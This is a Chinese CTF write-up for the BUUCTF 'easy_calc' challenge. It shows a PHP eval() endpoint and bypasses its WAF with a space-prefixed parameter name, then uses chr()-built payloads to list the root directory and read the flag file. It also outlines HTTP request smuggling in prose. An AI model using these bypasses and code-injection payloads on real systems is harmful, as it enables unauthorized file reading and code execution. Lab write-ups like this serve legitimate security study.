一,概述
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
二,例题
[BUUCTF easy_calc]
一,分析
查看源码发现calc.php文件
直接/calc.php,看到了源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', 't', 'r', 'n',''', '"', '`', '[', ']','$','\','^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
看这只要传一个值给num,如:1;phpinfo()这种参数给num即可,但发现只要传值中包含字母就会返回400错误。
二,方法
方法一:利用PHP的字符串解析特性Bypass
参考:https://www.freebuf.com/articles/web/213359.html
构造如:/calc.php?%20num=1;phpinfo()绕过waf,但在php里面仍会解析为num,因此会返回phpinfo界面。
鉴于他过滤了单引号和双引号,我们无法直接传参。
需要用到几个函数来构建取得目录:
var_dump() — 可以将变量的内部信息打印出来,可以打印出数组
scandir() — 传入目录参数,返回传入目录的文件及文件夹
chr() — 传入数字可以将ASCII码解析为字符串
readfile() — 传入文件名作为参数可以读取文件内容
file_get_contents — 传入文件名作为参数可以读取文件内容
47对应ASCII为/,所以构造?%20num=1;var_dump(scandir(chr(47))),取得根目录对应文件及文件夹名字,一般flag都在根目录下。
1array(24) { [0]=> string(1) “.” [1]=> string(2) “…” [2]=> string(10) “.dockerenv” [3]=> string(3) “bin” [4]=> string(4) “boot” [5]=> string(3) “dev” [6]=> string(3) “etc” [7]=> string(5) “f1agg” [8]=> string(4) “home” [9]=> string(3) “lib” [10]=> string(5) “lib64” [11]=> string(5) “media” [12]=> string(3) “mnt” [13]=> string(3) “opt” [14]=> string(4) “proc” [15]=> string(4) “root” [16]=> string(3) “run” [17]=> string(4) “sbin” [18]=> string(3) “srv” [19]=> string(8) “start.sh” [20]=> string(3) “sys” [21]=> string(3) “tmp” [22]=> string(3) “usr” [23]=> string(3) “var” }
可以看见有一个f1agg,构建payload:
calc.php?%20num=1;var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
也可以将readfile改为file_get_contents,结果一样,输出有些差异。
1flag{8c38cfc1-87c6-4d2e-b63a-eebd9a022a00} int(43)
方法二:利用http走私
参考:https://paper.seebug.org/1048/
简单说来就是我们抓包之后,手动添加一个Content-Length使得该包有两个。当传给服务器后,先是由代理服务器接受,代理服务器读完第一个Content-Length后将包发给了后端服务器,而后端服务器再次读取Content-Length,将我们需要的内容返回给前端,即使客户端请求的语法错误,服务器无法理解(400错误,bad request),但仍返回了部分内容。
具体操作:
大多数HTTP请求走私漏洞的出现是因为HTTP规范提供了两种不同的方法来指定请求的结束位置:Content-Length标头和Transfer-Encoding标头
(1)输入url/calc.php?num=1,并抓包。
(2)修改请求如下图,然后发送。
(3)获得flag过程类似方法一,如下图
三,后期文章
由于waf和http走私的学习过程会比较漫长,再此说明,后续的文章仅仅针对本题的知识学习与扩展。
后续文章将再次结合本题,复现waf与分享HTTP学习知识。
后续文章添加相关的标题后缀(1)、(2)、(3)等表示为同一知识体系的学习。